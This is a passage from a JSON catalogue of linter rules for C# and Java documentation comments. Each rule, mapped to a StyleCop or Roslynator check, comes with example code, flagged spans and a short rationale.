        "input": "public class Api {\n  /**\n   * Adds.\n   * @param a first\n   */\n  public int add(int a, int b) { return a + b; }\n\n  /** Inherits. {@inheritDoc} */\n  public int sub(int a) { return a; }\n\n  private int hidden(int a) { return a; }\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 29,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "doc-param-missing",
      "languages": [
        "csharp",
        "java"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1611",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1611.md"
        }
      ],
      "why": "The comment is what the IDE shows when the method is called and what the generated reference lists. A parameter that is not described leaves the caller to guess what it means, its unit, whether it may be null or empty, and what the method does with it.\n\nTo fix, add the tag that documents the parameter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a partial type or method without a documentation comment, or with an empty one. Each part is checked on its own: accepting one documented part would need all the other parts of the project. Which elements need documentation follows the default of private members being left out.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/// <summary></summary>\npublic class EmptySummary\n{\n    /// <summary>\n    /// </summary>\n    public void Blank() { }\n    /// <summary />\n    public void SelfClosing() { }\n    /// <summary><see cref=\"Blank\"/></summary>\n    public void OnlyCref() { }\n    /// <summary>\n    /// <!-- comment -->\n    /// </summary>\n    public void OnlyComment() { }\n    /// <summary>   </summary>\n    public int Field;\n    /// <summary></summary>\n    public int First, Second;\n}\n/// <summary>Summary description for Defaults.</summary>\npublic class Defaults\n{\n    /// <summary>\n    /// Summary description for Method.\n    /// </summary>\n    public void Method() { }\n    /// <summary><see cref=\"Method\"/> Summary description for x</summary>\n    public void NotFirst() { }\n    /// <summary>summary description for lower case</summary>\n    public void LowerCase() { }\n    /// <summary>\n    ///   Summary description for indented.\n    /// </summary>\n    public int Property { get; }\n    /// <summary>Summary description for.</summary>\n    /// <inheritdoc />\n    public override string ToString() => \"\";\n}\n/// <remarks>Partial without summary.</remarks>\npublic partial class PartialNoSummary { }\n/// <summary></summary>\npublic partial class PartialEmptySummary { }\n/// <content>Content.</content>\npublic partial class PartialContent { }\n/// <content></content>\npublic partial class PartialEmptyContent { }\n/// <inheritdoc />\npublic partial class PartialInherited { }\n/// <summary>Summary description for PartialDefault.</summary>\npublic partial class PartialDefault { }\n/// <remarks>Internal partial.</remarks>\ninternal partial struct PartialInternal { }\npublic partial class PartialUndocumented { }\ninternal partial struct PartialUndocumentedInternal { }\n",
        "language": "csharp",
        "other_lines": [
          2,
          6,
          14,
          16,
          18,
          20,
          23,
          31,
          40,
          49,
          52
        ],
        "spans": [
          {
            "column": 22,
            "length": 19,
            "line": 42
          },
          {
            "column": 22,
            "length": 19,
            "line": 46
          },
          {
            "column": 22,
            "length": 19,
            "line": 53
          },
          {
            "column": 25,
            "length": 27,
            "line": 54
          }
        ]
      },
      "fix": null,
      "id": "doc-partial-required",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1601",
          "note": "a partial type or method is reported when this part is undocumented even if another part is documented (needs the other parts)",
          "partial": true,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1601.md"
        }
      ],
      "why": "A partial type is built from several files, and the documentation tools take the comment from one of them. A part without a comment leaves the reader of that file with nothing to read at the declaration.\n\nTo fix, document the part."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a documentation comment of a partial type or method that has no `<summary>` or `<content>` (and no `<inheritdoc />`). Each part is checked on its own. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/// <summary></summary>\npublic class EmptySummary\n{\n    /// <summary>\n    /// </summary>\n    public void Blank() { }\n    /// <summary />\n    public void SelfClosing() { }\n    /// <summary><see cref=\"Blank\"/></summary>\n    public void OnlyCref() { }\n    /// <summary>\n    /// <!-- comment -->\n    /// </summary>\n    public void OnlyComment() { }\n    /// <summary>   </summary>\n    public int Field;\n    /// <summary></summary>\n    public int First, Second;\n}\n/// <summary>Summary description for Defaults.</summary>\npublic class Defaults\n{\n    /// <summary>\n    /// Summary description for Method.\n    /// </summary>\n    public void Method() { }\n    /// <summary><see cref=\"Method\"/> Summary description for x</summary>\n    public void NotFirst() { }\n    /// <summary>summary description for lower case</summary>\n    public void LowerCase() { }\n    /// <summary>\n    ///   Summary description for indented.\n    /// </summary>\n    public int Property { get; }\n    /// <summary>Summary description for.</summary>\n    /// <inheritdoc />\n    public override string ToString() => \"\";\n}\n/// <remarks>Partial without summary.</remarks>\npublic partial class PartialNoSummary { }\n/// <summary></summary>\npublic partial class PartialEmptySummary { }\n/// <content>Content.</content>\npublic partial class PartialContent { }\n/// <content></content>\npublic partial class PartialEmptyContent { }\n/// <inheritdoc />\npublic partial class PartialInherited { }\n/// <summary>Summary description for PartialDefault.</summary>\npublic partial class PartialDefault { }\n/// <remarks>Internal partial.</remarks>\ninternal partial struct PartialInternal { }\npublic partial class PartialUndocumented { }\ninternal partial struct PartialUndocumentedInternal { }\n",
        "language": "csharp",
        "other_lines": [
          2,
          6,
          14,
          16,
          18,
          20,
          23,
          31,
          42,
          46,
          49,
          53,
          54
        ],
        "spans": [
          {
            "column": 22,
            "length": 16,
            "line": 40
          },
          {
            "column": 25,
            "length": 15,
            "line": 52
          }
        ]
      },
      "fix": null,
      "id": "doc-partial-summary-required",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1605",
          "note": "each part of a partial type or method needs its own summary here; StyleCop reads the same per-part comment, but SA1601's cross-part acceptance is not available (see SA1601)",
          "partial": true,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1605.md"
        }
      ],
      "why": "The summary is the part of the comment that tools show in a list or a hover. A comment of a partial type without it is shown with no description.\n\nTo fix, add a `<summary>`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a partial type or method whose `<summary>` (or `<content>`) has no text. Each part is checked on its own. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/// <summary></summary>\npublic class EmptySummary\n{\n    /// <summary>\n    /// </summary>\n    public void Blank() { }\n    /// <summary />\n    public void SelfClosing() { }\n    /// <summary><see cref=\"Blank\"/></summary>\n    public void OnlyCref() { }\n    /// <summary>\n    /// <!-- comment -->\n    /// </summary>\n    public void OnlyComment() { }\n    /// <summary>   </summary>\n    public int Field;\n    /// <summary></summary>\n    public int First, Second;\n}\n/// <summary>Summary description for Defaults.</summary>\npublic class Defaults\n{\n    /// <summary>\n    /// Summary description for Method.\n    /// </summary>\n    public void Method() { }\n    /// <summary><see cref=\"Method\"/> Summary description for x</summary>\n    public void NotFirst() { }\n    /// <summary>summary description for lower case</summary>\n    public void LowerCase() { }\n    /// <summary>\n    ///   Summary description for indented.\n    /// </summary>\n    public int Property { get; }\n    /// <summary>Summary description for.</summary>\n    /// <inheritdoc />\n    public override string ToString() => \"\";\n}\n/// <remarks>Partial without summary.</remarks>\npublic partial class PartialNoSummary { }\n/// <summary></summary>\npublic partial class PartialEmptySummary { }\n/// <content>Content.</content>\npublic partial class PartialContent { }\n/// <content></content>\npublic partial class PartialEmptyContent { }\n/// <inheritdoc />\npublic partial class PartialInherited { }\n/// <summary>Summary description for PartialDefault.</summary>\npublic partial class PartialDefault { }\n/// <remarks>Internal partial.</remarks>\ninternal partial struct PartialInternal { }\npublic partial class PartialUndocumented { }\ninternal partial struct PartialUndocumentedInternal { }\n",
        "language": "csharp",
        "other_lines": [
          2,
          6,
          14,
          16,
          18,
          20,
          23,
          31,
          40,
          49,
          52,
          53,
          54
        ],
        "spans": [
          {
            "column": 22,
            "length": 19,
            "line": 42
          },
          {
            "column": 22,
            "length": 19,
            "line": 46
          }
        ]
      },
      "fix": null,
      "id": "doc-partial-summary-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1607",
          "note": "each part is checked on its own; StyleCop's partial rules also read the other parts through the project",
          "partial": true,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1607.md"
        }
      ],
      "why": "An empty summary is shown in a list or a hover as no description, and it hides that nobody wrote one.\n\nTo fix, write the summary."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a documented partial generic type (one that has a `<summary>`) that has no `<typeparam>` for one of its type parameters, on the parameter. Each part is checked on its own. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Threading.Tasks;\n/// <summary>Generic.</summary>\n/// <typeparam>No name.</typeparam>\n/// <typeparam name=\"\">Empty name.</typeparam>\n/// <typeparam name=\"T\"></typeparam>\n/// <typeparam name=\"U\" />\n/// <typeparam name=\"V\">Good.</typeparam>\npublic class Generic<T, U, V>\n{\n    /// <summary>Method.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    /// <typeparam>No name.</typeparam>\n    public void Method<X>() { }\n    /// <summary>Method.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    /// <inheritdoc />\n    public void Inherited<X>() { }\n    /// <summary>Not generic.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    public void NotGeneric() { }\n}\n/// <summary>Struct.</summary>\n/// <typeparam name=\"T\"></typeparam>\npublic struct GenericStruct<T> { }\n/// <summary>Interface.</summary>\n/// <typeparam>T</typeparam>\npublic interface IGeneric<T> { }\n/// <summary>Delegate.</summary>\n/// <typeparam name=\"T\"></typeparam>\n/// <typeparam name=\"U\" />\npublic delegate void GenericCallback<T, U>();\n/// <summary>Partial.</summary>\n/// <typeparam name=\"T\">The T.</typeparam>\npublic partial class PartialGeneric<T, U> { }\n/// <summary>Partial.</summary>\npublic partial class PartialGenericNone<T> { }\n/// <summary>Partial.</summary>\n/// <typeparam name=\"U\">The U.</typeparam>\ninternal partial struct PartialGenericStruct<T, U> { }\n/// <summary>Partial.</summary>\n/// <typeparam name=\"T\">The T.</typeparam>\n/// <typeparam name=\"U\">The U.</typeparam>\npublic partial class PartialGenericGood<T, U> { }\n/// <remarks>Partial without summary.</remarks>\npublic partial class PartialGenericNoSummary<T> { }\n/// <inheritdoc />\npublic partial class PartialGenericInherited<T> { }\n/// <summary>Partial, no generics.</summary>\npublic partial class PartialPlain { }\n",
        "language": "csharp",
        "other_lines": [
          3,
          4,
          5,
          6,
          11,
          12,
          23,
          26,
          29,
          30
        ],
        "spans": [
          {
            "column": 40,
            "length": 1,
            "line": 34
          },
          {
            "column": 41,
            "length": 1,
            "line": 36
          },
          {
            "column": 46,
            "length": 1,
            "line": 39
          }
        ]
      },
      "fix": null,
      "id": "doc-partial-typeparams",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1619",
          "note": "each part of a partial generic type is checked on its own",
          "partial": true,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1619.md"
        }
      ],
      "why": "Without the tag a reader of the documentation sees `T` and has to read the code to learn what it stands for.\n\nTo fix, add `<typeparam name=\"T\">` with the meaning of `T`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<returns>` without text. A comment with `<inheritdoc />` is not reported. No fix.",
      "example": {
        "config": null,
        "fixed": "using System.Threading.Tasks;\n/// <summary>Return values.</summary>\npublic class Returns\n{\n    /// <summary>Returns.</summary>\n    public int NoReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns></returns>\n    public int EmptyReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns />\n    public int SelfClosingReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>The value.</returns>\n    public int GoodReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>\n    /// </returns>\n    public int BlankReturns() => 0;\n    /// <summary>Does.</summary>\n    public void VoidReturns() { }\n    /// <summary>Does.</summary>\n    public void VoidEmptyReturns() { }\n    /// <summary>Does.</summary>\n    public void VoidSelfClosingReturns() { }\n    /// <summary>Does.</summary>\n    public Task AsyncNoReturns() => null;\n    /// <summary>Does.</summary>\n    /// <inheritdoc />\n    public int Inherited() => 0;\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    /// <inheritdoc />\n    public int InheritedEmpty() => 0;\n    /// <summary>Does.</summary>\n    private int PrivateNoReturns() => 0;\n    /// <summary>Does.</summary>\n    internal int InternalNoReturns() => 0;\n    /// <summary>Does.</summary>\n    protected int ProtectedNoReturns() => 0;\n    /// <summary>Does.</summary>\n    public static int operator +(Returns a, Returns b) => 0;\n    /// <summary>Delegate.</summary>\n    public delegate int Callback();\n    /// <summary>Delegate.</summary>\n    public delegate void VoidCallback();\n    /// <summary>Does.</summary>\n    public ref int RefReturn() => throw null;\n}\n",
        "input": "using System.Threading.Tasks;\n/// <summary>Return values.</summary>\npublic class Returns\n{\n    /// <summary>Returns.</summary>\n    public int NoReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns></returns>\n    public int EmptyReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns />\n    public int SelfClosingReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>The value.</returns>\n    public int GoodReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>\n    /// </returns>\n    public int BlankReturns() => 0;\n    /// <summary>Does.</summary>\n    /// <returns>Nothing.</returns>\n    public void VoidReturns() { }\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    public void VoidEmptyReturns() { }\n    /// <summary>Does.</summary>\n    /// <returns />\n    public void VoidSelfClosingReturns() { }\n    /// <summary>Does.</summary>\n    public Task AsyncNoReturns() => null;\n    /// <summary>Does.</summary>\n    /// <inheritdoc />\n    public int Inherited() => 0;\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    /// <inheritdoc />\n    public int InheritedEmpty() => 0;\n    /// <summary>Does.</summary>\n    private int PrivateNoReturns() => 0;\n    /// <summary>Does.</summary>\n    internal int InternalNoReturns() => 0;\n    /// <summary>Does.</summary>\n    protected int ProtectedNoReturns() => 0;\n    /// <summary>Does.</summary>\n    public static int operator +(Returns a, Returns b) => 0;\n    /// <summary>Delegate.</summary>\n    public delegate int Callback();\n    /// <summary>Delegate.</summary>\n    /// <returns>Nothing.</returns>\n    public delegate void VoidCallback();\n    /// <summary>Does.</summary>\n    public ref int RefReturn() => throw null;\n}\n",
        "language": "csharp",
        "other_lines": [
          6,
          21,
          30,
          41,
          43,
          47,
          49,
          52
        ],
        "spans": [
          {
            "column": 9,
            "length": 19,
            "line": 8
          },
          {
            "column": 9,
            "length": 11,
            "line": 11
          },
          {
            "column": 9,
            "length": 1,
            "line": 17
          },
          {
            "column": 9,
            "length": 19,
            "line": 24
          },
          {
            "column": 9,
            "length": 11,
            "line": 27
          }
        ]
      },
      "fix": null,
      "id": "doc-returns-has-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1616",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1616.md"
        }
      ],
      "why": "An empty `<returns></returns>` looks like documentation and tells the reader nothing about the value, and it keeps tools from reporting that the result is not described.\n\nTo fix, describe what the method returns."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a documented method or delegate that does not return `void` and has no `<returns>` (and no `<inheritdoc />`). Private members are not reported. No fix.",
      "example": {
        "config": null,
        "fixed": "using System.Threading.Tasks;\n/// <summary>Return values.</summary>\npublic class Returns\n{\n    /// <summary>Returns.</summary>\n    public int NoReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns></returns>\n    public int EmptyReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns />\n    public int SelfClosingReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>The value.</returns>\n    public int GoodReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>\n    /// </returns>\n    public int BlankReturns() => 0;\n    /// <summary>Does.</summary>\n    public void VoidReturns() { }\n    /// <summary>Does.</summary>\n    public void VoidEmptyReturns() { }\n    /// <summary>Does.</summary>\n    public void VoidSelfClosingReturns() { }\n    /// <summary>Does.</summary>\n    public Task AsyncNoReturns() => null;\n    /// <summary>Does.</summary>\n    /// <inheritdoc />\n    public int Inherited() => 0;\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    /// <inheritdoc />\n    public int InheritedEmpty() => 0;\n    /// <summary>Does.</summary>\n    private int PrivateNoReturns() => 0;\n    /// <summary>Does.</summary>\n    internal int InternalNoReturns() => 0;\n    /// <summary>Does.</summary>\n    protected int ProtectedNoReturns() => 0;\n    /// <summary>Does.</summary>\n    public static int operator +(Returns a, Returns b) => 0;\n    /// <summary>Delegate.</summary>\n    public delegate int Callback();\n    /// <summary>Delegate.</summary>\n    public delegate void VoidCallback();\n    /// <summary>Does.</summary>\n    public ref int RefReturn() => throw null;\n}\n",
        "input": "using System.Threading.Tasks;\n/// <summary>Return values.</summary>\npublic class Returns\n{\n    /// <summary>Returns.</summary>\n    public int NoReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns></returns>\n    public int EmptyReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns />\n    public int SelfClosingReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>The value.</returns>\n    public int GoodReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>\n    /// </returns>\n    public int BlankReturns() => 0;\n    /// <summary>Does.</summary>\n    /// <returns>Nothing.</returns>\n    public void VoidReturns() { }\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    public void VoidEmptyReturns() { }\n    /// <summary>Does.</summary>\n    /// <returns />\n    public void VoidSelfClosingReturns() { }\n    /// <summary>Does.</summary>\n    public Task AsyncNoReturns() => null;\n    /// <summary>Does.</summary>\n    /// <inheritdoc />\n    public int Inherited() => 0;\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    /// <inheritdoc />\n    public int InheritedEmpty() => 0;\n    /// <summary>Does.</summary>\n    private int PrivateNoReturns() => 0;\n    /// <summary>Does.</summary>\n    internal int InternalNoReturns() => 0;\n    /// <summary>Does.</summary>\n    protected int ProtectedNoReturns() => 0;\n    /// <summary>Does.</summary>\n    public static int operator +(Returns a, Returns b) => 0;\n    /// <summary>Delegate.</summary>\n    public delegate int Callback();\n    /// <summary>Delegate.</summary>\n    /// <returns>Nothing.</returns>\n    public delegate void VoidCallback();\n    /// <summary>Does.</summary>\n    public ref int RefReturn() => throw null;\n}\n",
        "language": "csharp",
        "other_lines": [
          8,
          11,
          17,
          21,
          24,
          27,
          49
        ],
        "spans": [
          {
            "column": 12,
            "length": 3,
            "line": 6
          },
          {
            "column": 12,
            "length": 4,
            "line": 30
          },
          {
            "column": 14,
            "length": 3,
            "line": 41
          },
          {
            "column": 15,
            "length": 3,
            "line": 43
          },
          {
            "column": 21,
            "length": 3,
            "line": 47
          },
          {
            "column": 12,
            "length": 7,
            "line": 52
          }
        ]
      },
      "fix": null,
      "id": "doc-returns-required",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1615",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1615.md"
        }
      ],
      "why": "The summary says what a method does, and `<returns>` says what comes back, which a caller needs to use it right: units, meaning of `null`, which failure value.\n\nTo fix, add a `<returns>` that describes the value."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a documentation comment without `<summary>` (and without `<inheritdoc />`) on a type, member or field that needs documentation: everything but private members. Partial types and methods belong to `doc-partial-summary-required`. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/// <remarks>No summary.</remarks>\npublic class NoSummary\n{\n    /// <remarks>No summary.</remarks>\n    public int Field;\n    /// <remarks>No summary.</remarks>\n    public int First, Second;\n    /// <remarks>No summary.</remarks>\n    public NoSummary() { }\n    /// <remarks>No summary.</remarks>\n    ~NoSummary() { }\n    /// <remarks>No summary.</remarks>\n    public int this[int index] => index;\n    /// <remarks>No summary.</remarks>\n    public event System.EventHandler Changed;\n    /// <remarks>No summary.</remarks>\n    public delegate void Callback();\n    /// <remarks>No summary.</remarks>\n    public enum Kind\n    {\n        /// <remarks>No summary.</remarks>\n        A,\n    }\n    /// <remarks>No summary.</remarks>\n    private int hidden;\n    /// <remarks>No summary.</remarks>\n    internal int Internal;\n    /// <remarks>No summary.</remarks>\n    protected int Protected;\n    /// <remarks>No summary.</remarks>\n    private class PrivateType\n    {\n        /// <remarks>No summary.</remarks>\n        public int Field;\n    }\n    /// <remarks>No summary.</remarks>\n    public interface IInterface\n    {\n        /// <remarks>No summary.</remarks>\n        void Run();\n    }\n}\n/// <remarks>No summary, internal.</remarks>\ninternal class InternalNoSummary { }\n/// <remarks>No summary, private members.</remarks>\ninternal class InternalHolder\n{\n    /// <remarks>No summary.</remarks>\n    public int Field;\n}\n/// <inheritdoc />\npublic class Inherited : NoSummary { }\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 14,
            "length": 9,
            "line": 2
          },
          {
            "column": 16,
            "length": 5,
            "line": 5
          },
          {
            "column": 16,
            "length": 5,
            "line": 7
          },
          {
            "column": 23,
            "length": 6,
            "line": 7
          },
          {
            "column": 12,
            "length": 9,
            "line": 9
          },
          {
            "column": 6,
            "length": 9,
            "line": 11
          },
          {
            "column": 16,
            "length": 4,
            "line": 13
          },
          {
            "column": 38,
            "length": 7,
            "line": 15
          },
          {
            "column": 26,
            "length": 8,
            "line": 17
          },
          {
            "column": 17,
            "length": 4,
            "line": 19
          },
          {
            "column": 18,
            "length": 8,
            "line": 27
          },
          {
            "column": 19,
            "length": 9,
            "line": 29
          },
          {
            "column": 22,
            "length": 10,
            "line": 37
          },
          {
            "column": 14,
            "length": 3,
            "line": 40
          },
          {
            "column": 16,
            "length": 17,
            "line": 44
          },
          {
            "column": 16,
            "length": 14,
            "line": 46
          },
          {
            "column": 16,
            "length": 5,
            "line": 49
          }
        ]
      },
      "fix": null,
      "id": "doc-summary-required",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop",
        "csharp/roslynator"
      ],
      "upstream": [
        {
          "id": "RCS1139",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1139"
        },
        {
          "id": "SA1604",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1604.md"
        }
      ],
      "why": "The summary is what tools show in lists, in hovers and in the generated reference. A comment without it appears without a description, however much the other tags say.\n\nTo fix, add a `<summary>`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<summary>` without text (`<summary></summary>`; `<summary />` is not reported). Partial types and methods belong to `doc-partial-summary-text`. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/// <summary></summary>\npublic class EmptySummary\n{\n    /// <summary>\n    /// </summary>\n    public void Blank() { }\n    /// <summary />\n    public void SelfClosing() { }\n    /// <summary><see cref=\"Blank\"/></summary>\n    public void OnlyCref() { }\n    /// <summary>\n    /// <!-- comment -->\n    /// </summary>\n    public void OnlyComment() { }\n    /// <summary>   </summary>\n    public int Field;\n    /// <summary></summary>\n    public int First, Second;\n}\n/// <summary>Summary description for Defaults.</summary>\npublic class Defaults\n{\n    /// <summary>\n    /// Summary description for Method.\n    /// </summary>\n    public void Method() { }\n    /// <summary><see cref=\"Method\"/> Summary description for x</summary>\n    public void NotFirst() { }\n    /// <summary>summary description for lower case</summary>\n    public void LowerCase() { }\n    /// <summary>\n    ///   Summary description for indented.\n    /// </summary>\n    public int Property { get; }\n    /// <summary>Summary description for.</summary>\n    /// <inheritdoc />\n    public override string ToString() => \"\";\n}\n/// <remarks>Partial without summary.</remarks>\npublic partial class PartialNoSummary { }\n/// <summary></summary>\npublic partial class PartialEmptySummary { }\n/// <content>Content.</content>\npublic partial class PartialContent { }\n/// <content></content>\npublic partial class PartialEmptyContent { }\n/// <inheritdoc />\npublic partial class PartialInherited { }\n/// <summary>Summary description for PartialDefault.</summary>\npublic partial class PartialDefault { }\n/// <remarks>Internal partial.</remarks>\ninternal partial struct PartialInternal { }\npublic partial class PartialUndocumented { }\ninternal partial struct PartialUndocumentedInternal { }\n",
        "language": "csharp",
        "other_lines": [
          20,
          23,
          31,
          40,
          42,
          46,
          49,
          52,
          53,
          54
        ],
        "spans": [
          {
            "column": 14,
            "length": 12,
            "line": 2
          },
          {
            "column": 17,
            "length": 5,
            "line": 6
          },
          {
            "column": 17,
            "length": 11,
            "line": 14
          },
          {
            "column": 16,
            "length": 5,
            "line": 16
          },
          {
            "column": 16,
            "length": 5,
            "line": 18
          },
          {
            "column": 23,
            "length": 6,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "doc-summary-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop",
        "csharp/roslynator"
      ],
      "upstream": [
        {
          "id": "RCS1138",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1138"
        },
        {
          "id": "SA1606",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1606.md"
        }
      ],
      "why": "An empty summary is a placeholder that was never filled in: it satisfies a check that a summary exists and tells the reader nothing.\n\nTo fix, write the summary."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the last text of an element of a documentation comment that does not end with a period (`.` or `.)`). Each paragraph of `<para>` and `<note>` is checked. A paragraph that ends in a colon (except the last), `-or-` and `<seealso>` are not reported, and an inline element (`<see />`, `<c>`, ...) at the end counts as not ending with a period. The fix adds the period, or replaces a trailing comma or semicolon with it.",
      "example": {
        "config": null,
        "fixed": "using System;\n/// <summary>Interface.</summary>\npublic interface IFace\n{\n    /// <summary>Member.</summary>\n    void Run();\n}\n/// <summary>Record.</summary>\npublic record Record(int A);\n",
        "input": "using System;\n/// <summary>Interface</summary>\npublic interface IFace\n{\n    /// <summary>Member</summary>\n    void Run();\n}\n/// <summary>Record</summary>\npublic record Record(int A);\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 23,
            "length": 1,
            "line": 2
          },
          {
            "column": 24,
            "length": 1,
            "line": 5
          },
          {
            "column": 20,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": "safe",
      "id": "doc-text-ends-with-period",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1629",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1629.md"
        }
      ],
      "why": "Documentation is read as sentences in the generated reference, where the elements are shown one below the other. Text with and without the final period looks uneven, and the missing period is the first thing that shows that a sentence was not finished."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<remarks>`, `<example>`, `<exception>` or `<permission>` element without text, written `<remarks></remarks>` or `<remarks />`. No fix.",
      "example": {
        "config": null,
        "fixed": "using System;\n/// <summary>Text.</summary>\npublic class PlainComments\n{\n    /// plain text on a field\n    public int Field;\n    /// first line\n    /// second line\n    public void Attached() { }\n    /// <summary>Good.</summary>\n    /// extra text after the summary\n    public void Mixed() { }\n    void Body()\n    {\n        // plain in a body\n        int j = 0;\n\n        //\n        int k = 0;\n\n        /// <summary>Not plain.</summary>\n        int l = 0;\n    }\n    /** plain block */\n    public int Block;\n    //// four slashes\n    public int Four;\n    int last; //trailing\n}\n/// <summary>Text.</summary>\npublic class Empties\n{\n    /// <summary>Text.</summary>\n    /// <remarks></remarks>\n    /// <example />\n    /// <exception cref=\"System.Exception\"></exception>\n    /// <exception cref=\"System.ArgumentException\">Thrown.</exception>\n    /// <permission cref=\"System.Security.PermissionSet\" />\n    /// <remarks>\n    /// </remarks>\n    /// <remarks>Text.</remarks>\n    /// <returns></returns>\n    public int Elements() => 0;\n    /// <summary>\n    /// Text.\n    /// <remarks></remarks>\n    /// </summary>\n    public void Nested() { }\n    /// <remarks></remarks>\n    int Hidden;\n    /// <remarks><see cref=\"Hidden\"/>.</remarks>\n    public int Cref;\n    /// <remarks><!-- comment --></remarks>\n    public int Comment;\n}\n",
